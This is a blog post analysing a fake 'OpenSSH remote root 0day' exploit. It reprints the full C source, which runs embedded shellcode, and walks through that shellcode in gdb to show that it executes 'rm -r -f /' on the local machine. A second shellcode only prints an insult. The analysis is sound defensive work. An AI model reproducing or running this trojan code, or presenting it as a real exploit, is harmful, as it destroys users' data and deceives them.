I’ve been reading about exploit and shellcode development recently and I came across a blog post today that gave me a good opportunity to put some of my new knowledge to the test and do some shellcode analysis. The blog post by Channon Powell (@tamonten) talks about a penetration tester who blindly downloaded, compiled, and ran the following exploit code.
/*
*
* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
*
* OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)
* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
*
*
*/
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void usage(char *argv[])
{
printf("\n\t[+] HATSUNEMIKU\n");
printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");
printf("\t[+] Keep this 0day priv8!\n");
printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
exit(1);
}
unsigned char decoder[]= "\x6a\x0b\x58\x99\x52"
"\x6a\x2f\x89\xe7\x52"
"\x66\x68\x2d\x66\x89"
"\xe6\x52\x66\x68\x2d"
"\x72\x89\xe1\x52\x68"
"\x2f\x2f\x72\x6d\x68"
"\x2f\x62\x69\x6e\x89"
"\xe3\x52\x57\x56\x51"
"\x53\x89\xe1\xcd\x80";
unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
"\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
"\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
"\xdb\x40\xcd\x80";
int main(int argc, char **argv)
{
int euid = geteuid();
int port= 22, sock;
char h[1000];
struct hostent *host;
struct sockaddr_in addr;
if(euid != 0)
{
fprintf(stderr, "You need to be root to use raw sockets.\n");
exit(1);
}
if(euid == 0)
{
fprintf(stdout, "MIKU! MIKU! MIKU!\n");
}
if(argc != 3)
usage(argv);
if(!inet_aton(h, &addr.sin_addr))
{
host = gethostbyname(h);
if(!host)
{
fprintf(stderr, "[-] Exploit failed.\n");
(*(void(*)())decoder)();
exit(1);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
{
fprintf(stderr,"[-] Exploit failed.\n");
exit(1);
}
char payload[1337];
memcpy(payload, &decoder, sizeof(decoder));
memcpy(payload, &rootshell, sizeof(rootshell));
send(sock, payload, strlen(payload),0);
close(sock);
if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
{
fprintf(stderr, "[-] Exploit failed.\n");
exit(1);
}
else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
{
fprintf(stdout, "[+]g0t sh3ll!\n");
system("/bin/bash");
}
else
{
fprintf(stderr, "[-] Exploit failed.\n");
close(sock);
exit(0);
}
}
Local Shellcode, Local Shell
The first thing I noticed about the exploit code is that it seemingly attempts to run shellcode locally on line 71 before exiting. Further down at line 97 the code prints out a success message and spawns a shell, locally. Alarm bells ringing yet? On further inspection it turns out that all the code actually does is run shellcode locally because the variable h is never initialised and so the call to gethostbyname never succeeds.
“Analyse This”
The C program only calls the shellcode in the decoder variable so I grabbed that, added it to a minimal C program in a BackTrack virtual machine and compiled it.
root@bt:~/decodeshellcode# cat shellcode.c
unsigned char shellcode[] = "\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80";
int main(int argc, char **argv) {
(*(void(*)())shellcode)();
}
root@bt:~/decodeshellcode# gcc -o shellcode shellcode.c
With the program compiled I loaded it up in gdb, set a breakpoint on main and started the program running.
root@bt:~/decodeshellcode# gdb shellcode [snipped...] (gdb) b main Breakpoint 1 at 0x80483b7 (gdb) run Starting program: /root/decodeshellcode/shellcode Breakpoint 1, 0x080483b7 in main ()
To aid in stepping through the program I set gdb to display the next 5 instructions to be executed each time execution stops (i.e. after executing a single instruction).
(gdb) display /5i $pc 1: x/5i $pc => 0x80483b7 <main+3>: and $0xfffffff0,%esp 0x80483ba <main+6>: mov 0x804a010,%eax 0x80483bf <main+11>: call *%eax 0x80483c1 <main+13>: mov %ebp,%esp 0x80483c3 <main+15>: pop %ebp
Using the si command to step through the program one instruction at a time the first thing to notice is the call instruction at 0x80483bf which jumps into the shellcode from the original code listing. Stepping through the shellcode shows little of interest, mostly push and mov instructions, until 0x80484bb which contains an interrupt instruction – int 0×80 which makes a Unix system call.
(gdb) si 0x080484bb in ?? () 1: x/5i $pc => 0x80484bb: int $0x80 0x80484bd: add %al,(%eax) 0x80484bf: add %al,(%eax) 0x80484c1 <__FRAME_END__+1>: add %al,(%eax) 0x80484c3 <__FRAME_END__+3>: add %al,(%eax)
When interrupt 0×80 is executed the EAX register is used to determine which Unix system call to execute and the EBX, ECX, EDX, ESI and EDI registers are used to specify parameters. In gdb we can check the value of a register using the info command.
(gdb) info reg eax eax 0xb 11
Using the Linux Syscall Reference we can see that system call 11 (0xb) is execve which is used to execute a program, overwriting the memory or the current process with that of the program being executed. The call takes three parameters as follows:
- EBX contains the address of a string specifying the name of the program to execute
- ECX contains the address of an array of strings containing the command line parameters for the program being executed, this array must end with a null (0×0) pointer
- EDX contains either null or the address of an array of strings containing environment variables for the program being executed
The x command in gdb allows us to examine a memory address in various formats. Examining the address stored in the EBX register as a string reveals that the shellcode executes the program /bin//rm.
(gdb) x /s $ebx 0xbffff4fc: "/bin//rm"
If that itself isn’t bad enough we can look at the parameters passed to the program by examining the ECX register, keeping in mind that it points at an array of strings which will be represented in memory as a series of memory addresses (pointers), each of which points to the beginning of a string. In this case gdb is running in a 32-bit environment so memory addresses are 4 bytes long. Examining the first 4 bytes pointed at by ECX should give the address of the first command line parameter, which should be the name of the program itself (i.e. /bin//rm).
(gdb) x /4xb $ecx 0xbffff4e8@ 0xfc 0xf4 0xff 0xbf
The bytes are in little endian order here but once rearranged it’s no surprise that the result is 0xbffff4fc, the address stored in the EBX register, the name of the program to be executed.
Examining further addresses reveals the parameters passed to the program.
(gdb) x /20x $ecx 0xbffff4e8@ 0xfc 0xf4 0xff 0xbf 0x08 0xf5 0xff 0xbf 0xbffff4f0@ 0x0e 0xf4 0xff 0xbf 0x14 0xf5 0xff 0xbf 0xbffff4f8@ 0x00 0x00 0x00 0x00 (gdb) x /s 0xbffff508 0xbffff508: "-r" (gdb) x /s 0xbffff50e 0xbffff50e "-f" (gdb) x /s 0xbffff514 0xbffff514 "/"
There we have it, the exploit code calls shellcode which attempts to remove all files from the root file system by executing “rm -r -f /”. This is the same conclusion that Channon Powell came to by looking at strings in the shellcode.
For me this was an opportunity to put my current learning to the test, maybe others can learn from this too!
What about the Shellcode?
The original exploit code does one thing only – attempts to execute “rm -rf /” – but what about the other piece of shellcode contained in the shellcode variable? I decided to load that up in gdb and analyse that too.
(gdb) si 0x08048490 in ?? () 1: x/5i $pc => 0x8048490: xor %edx,%edx 0x8048492: mov $0xa,%dl 0x8048494: mov $0xa21756f,%ecx 0x8048499: push %ecx 0x804849a: mov $0x79206b63,%ecx
As before there was nothing particularly interesting to begin with apart from the first instruction which is a common shellcode technique. XORing a register with itself sets the value of the register to zero whilst avoiding null bytes in the shellcode. Null bytes in the shellcode may prevent the targeted vulnerability from being triggered. Perhaps this is real shellcode?
Stepping through the program eventually brings us to a system call instruction, this time system call 4 (sys_write) which writes a number of bytes to a file descriptor. The parameters are as follows:
- EBX is an integer specifying the file descriptor to write to
- ECX is the address of the data to be written
- EDX is the number of bytes to write
Examining the registers within gdb reveals that the system call outputs the string “fuck you!\n” to the standard output (file descriptor 1). Well someone isn’t happy about their ‘shellcode’ being disassembled!
(gdb) info reg eax eax 0x4 4 (gdb) info reg ebx ebx 0x1 1 (gdb) x /s $ecx 0xbffff502: "fuck you!\n\301\203\004\b\340\203\004\b" (gdb) info reg edx edx 0xa 10
Finally stepping through a few more instructions leads to one last system call, this time to system call 1 or sys_exit which exits the process.
Great write up, thanks. Going to have to learn how to drive gdb and this is a good start for me.